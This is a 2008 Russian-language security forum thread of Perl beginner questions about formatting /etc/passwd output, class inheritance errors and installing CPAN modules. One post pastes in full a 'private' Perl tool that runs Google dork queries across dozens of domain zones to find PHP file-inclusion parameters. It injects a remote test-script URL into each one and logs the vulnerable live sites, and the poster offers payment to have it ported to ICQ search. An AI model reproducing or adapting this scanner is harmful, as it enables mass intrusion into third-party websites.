HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #771  
Старый 27.10.2008, 20:26
teriion
Новичок
Регистрация: 26.10.2008
Сообщений: 3
Провел на форуме:
27677

Репутация: 0
По умолчанию

только начал учить .copy/past с учебника

#!/usr/local/bin/perl
open(PASS, "sort -n -t : +3 -4 +0 /etc/passwd|") || die "Файл не найден!";
while(<PASS>)
{
($login, $pass, $uid, $gid, $name, $home_dir, $shell) = split(':');
write(); # Форматированный вывод данных.
}
close(PASS);
exit 0; # Завершение программы

### Описание формы вывода ###
format STDOUT =
Пользователь: ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$name
^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$name
^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$name
---------------------------------------------------------------
Login:@<<< Uid:@<<< Gid:@<<< Home dir:@<<<
$login, $uid, $gid, $home_dir
---------------------------------------------------------------
. # Это последняя строка программы



пишет

Format not terminated at 1.pl line 23, at end of line
syntax error at 1.pl line 23, at EOF
Execution of 1.pl aborted due to compilation errors.


Oo
 
Ответить с цитированием

  #772  
Старый 27.10.2008, 21:14
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

в последней строке убери коментарий, оставь только точку
 
Ответить с цитированием

  #773  
Старый 31.10.2008, 00:21
akakernel
Новичок
Регистрация: 10.05.2008
Сообщений: 8
Провел на форуме:
19339

Репутация: 0
По умолчанию

Списал из учебника примеры кодов работы с классами.
В первом случае при наследовании одним классом методов другого программа, использующая первый класс, работает нормально. Но если в этом классе определить свой метод, то программа его не находит.

Вот реализация первого класса:
Код:
package Hourly; 
 use Employee;  
our @ISA = qw(Employee); 
 sub new  
{ 
 	my $object = shift();
  	my $class = ref($object) || $object;
  	my $self = $class->SUPER::new();
  	$self->{rate} = undef;
  	bless($self, $class);
  	return $self;  
}    
sub rate { Тут реализация метода}  
1;
Реализацию второго класса и программы я приводить не буду. Вот что пишет мне при выполнении:
Код:
Can't locate object method "rate" via package Employee at __ line __
И второй случай с сокрытием данных.
Код:
package EmployeeClosure;   
sub new  
{
  	my $object = shift();
  	my $class = ref($object) || $object;
  	my $employee = {firstname => shift(), lastname => shift()};
  	my $hireDay = new Date;
  	if ($_[0]) {
  		my ($month, $day, $year) = split(/\//, $_[0]);
  		$hireDay->day($day);
  		$hireDay->month($month);
  		$hireDay->year($year);
  	}
            my $self = sub {
  				my $field = shift();
  				$employee->{$field} = shift() if (@_);
  				return $employee->($field);
  				};
  	bless ($self, $class);
  	return $self;  
}
Выдает:
Код:
Not a CODE reference at __ line 22; ( это строка return $employee->($field);)
Тут у меня вообще пока соображений нет.
 
Ответить с цитированием

  #774  
Старый 01.11.2008, 13:48
teriion
Новичок
Регистрация: 26.10.2008
Сообщений: 3
Провел на форуме:
27677

Репутация: 0
По умолчанию

Цитата:
Сообщение от teriion  
#!usr/bin/perl

use LWP::UserAgent;

$client = LWP::UserAgent->new( ) or die;

print "Enter site:";

$url=<STDIN>; #Просим пользователя ввести адрес сайта

$answer = $client->get($url); #Отсылаем запрос на сайт

print "============================\n";

print $answer->header('server'); # Выводим поле Server из заголовка

print "============================\n";
вывод

Цитата:
Enter site:http://localhost/
============================
Apache/2.2.9 (Unix) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h PHP/5.2.6 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0============================
вместо
Цитата:
Enter site:http://localhost/
============================
Apache/2.2.9 (Unix) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h PHP/5.2.6 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0
============================
 
Ответить с цитированием

  #775  
Старый 01.11.2008, 14:08
bons
Участник форума
Регистрация: 20.12.2007
Сообщений: 295
Провел на форуме:
1777055

Репутация: 347
По умолчанию

Код:
...
print $answer->header('server'); # Выводим поле Server из заголовка
print "\n============================\n";
 
Ответить с цитированием

  #776  
Старый 02.11.2008, 19:30
akakernel
Новичок
Регистрация: 10.05.2008
Сообщений: 8
Провел на форуме:
19339

Репутация: 0
По умолчанию

Разобрался. В первом случае я сделал ошибку, указал не тот класс. Во втором - нашел опечатку в учебнике.

Последний раз редактировалось akakernel; 04.11.2008 в 11:26..
 
Ответить с цитированием

  #777  
Старый 15.11.2008, 13:27
satana8920
Moderator - Level 7
Регистрация: 22.09.2006
Сообщений: 531
Провел на форуме:
3818187

Репутация: 369


Отправить сообщение для satana8920 с помощью ICQ
По умолчанию

в перле я ваще ноль но тем не менее прошу о помощи нуно сей скрипт перевести на http://search.icq.com/ могу за помощь поставить много много плючиков или кинуть на вебмини 1.5 $(так как боьше нету ((()
заранее спасибо с уважанием Сатана
PHP код:
#! /usr/bin/perl

# ================================================================ #
#          google-php-include-bugs searcher v 0.8                  #
#                          (c)oded by drmist\STNC                  #
#                          www.security-teams.net                  #
#                                                                  #
#                 ATTENTION. THIS SCRIPT IS PRIVATE.               #
#              ONLY FOR STNC AND FRIENDS. NOT FOR SALE.            #
#                                                                  #
#  Usage: perl script.pl --log=<log-file> --url=<test-script-url>  #
#  Test script:                                                    #
#  <?php                                                           #
#  error_reporting(0);                                             #
#  $s = md5("STNC");                                               #
#  $code = eregi("windows", php_uname())+                          #
#  2*eregi("apache", getenv("SERVER_SOFTWARE"))+                   #
#  4*ini_get('safe_mode'); echo $s."[$code]".$s;                   #
#  
?>                                                              #
# ================================================================ #

use IO::Socket;

@inc_bugs = ("page", "text", "print", "html", "url", "view", "show", "body", "cat",
           "inc", "incl", "include", "read", "write", "data", "code", "fname",
    "filename", "cont", "content", "menu", "open", "file", "id", "p", "f",
    "seite", "pagina", "vista", "vue", "visao", "datei", "offnen", "corpo",
    "corps", "ouvrir", "fichier", "abrir", "fichero", "inhalt", "contenu",
    "conteudo");

@zones = ("com", "net", "org", "de", "fr", "uk", "br", "am",
        "info", "name", "aero", "biz", "edu", "ws", "in",
 "cn", "us", "be", "it", "cc", "tv", "ru", "su",
 "jp", "kz", "se", "is", "ca", "gs", "ms", "vg",
 "be", "fi", "gov");

@ftypes = ("php", "php3");

$boundary = "ca73bad132fa0c99fe9ce9efe9029e21"; # md5("STNC");

for($i = 0; $i < @ARGV; $i++)
{
if($ARGV[$i] =~ /^--log=(.*)$/) { $log = $1; }
elsif($ARGV[$i] =~ /^--url=(.*)$/) {$script = $1; }
}

if(!($script && $log)){ usage(); exit; }

foreach $inc(@inc_bugs)
{
foreach $zone(@zones)
{
  foreach $ftype(@ftypes)
  {
    $request = "filetype:$ftype site:$zone inurl:$inc=";      
    print "\n[$request]\n";

    $request =~ s/(.)/sprintf("%%%02x",ord($1))/eg;
    @dn = ();

    for($i = 0;$i < 10; $i++)
    {
      @temp = get("http://www.google.com/search?filter=0&num=100&start=".$i.
       "00&q=$request")  =~ /(http\:\/\/[a-z0-9\.\-\/\?\:\&\%\=\_]{5,})/gi;
      foreach $url (@temp)
{
 if($url !~ /($inc=[^\&]+)/i) { next; }
 $left = $`; $right = $';
 if($url =~ /https?\:\/\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\/search\?q=cache:/i){ next; }
 if($url =~ /google\.com/i){ next; }

 ($domain) = $url =~ /^http\:\/\/([a-z0-9\.\-]{5,})/;
 if($domain =~ /^www\.(.+)$/) { $domain = $1; }
 $f=0;foreach(@dn){if($_ eq $domain){$f++;last;}}if($f){next;}
 push @dn, $domain;

 $print = "$left$inc=[INCLUDE]$right";
 if(($data) = get("$left$inc=$script\?$right") =~ /$boundary\[([0-9]+)\]$boundary/i)
 {
   $s = "$print - ".(($data % 2) ? "WINDOWS" : "UNIX").(($data > 3) ? ", SAFE_MODE" : "")."\n";
   $count++;
   print "[$count] $s";

   open LOG, ">>$log";
   print LOG $s;
   close LOG;
 }
 else {
   print "$print - no bugs\n";
 }
}
    }
  }
}
}

sub timeout() { close $sock; }

sub get()
{
local $request = $_[0];
local $port = 80;
local $data = "";

if(local($server, $url) = $request =~ /^http\:\/\/([^\/]+)\/(.+)$/)
{
  if($server =~ /^([^\:]+)\:([0-9]{2,5})$/){ $server = $1; $port = $2; }

  $sock = IO::Socket::INET->new(
    PeerAddr => $server,
    PeerPort => $port,
    Proto => 'tcp',
    Type => SOCK_STREAM,
    TimeOut => $timeout
  ) or return 0; # connection failed

  print $sock "GET /$url HTTP/1.0\r\nHost: $server\r\n\r\n";

  $SIG{ALRM} = \&timeout; alarm 10;
  while(<$sock>){ $data .= $_; }
  alarm 0; close $sock;
}

return $data;
}

sub usage()
{

print qq(Usage: perl $0 --log=<log-file> --url=<url-of-test-script-source>
);

}
 
Ответить с цитированием

  #778  
Старый 15.11.2008, 21:48
teriion
Новичок
Регистрация: 26.10.2008
Сообщений: 3
Провел на форуме:
27677

Репутация: 0
По умолчанию

немног не в тему,но....
нашол скрипт,выдаёт:
Missing Perl modules:
Net:NS
Archive::Zip
хде их найти?
 
Ответить с цитированием

  #779  
Старый 15.11.2008, 22:49
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию

cpan.org
 
Ответить с цитированием

  #780  
Старый 16.11.2008, 00:55
biophreak
Постоянный
Регистрация: 03.08.2007
Сообщений: 367
Провел на форуме:
876216

Репутация: 209
По умолчанию

su && perl -MCPAN -e'install Net:NS' && perl -MCPAN -e'install Archive::Zip'
как-то так
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
[php] Новичкам: задаем вопросы _Great_ PHP 16396 17.06.2010 21:19
Вопросы по Ipb 2.0 Voodoo_People Сценарии/CMF/СMS 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ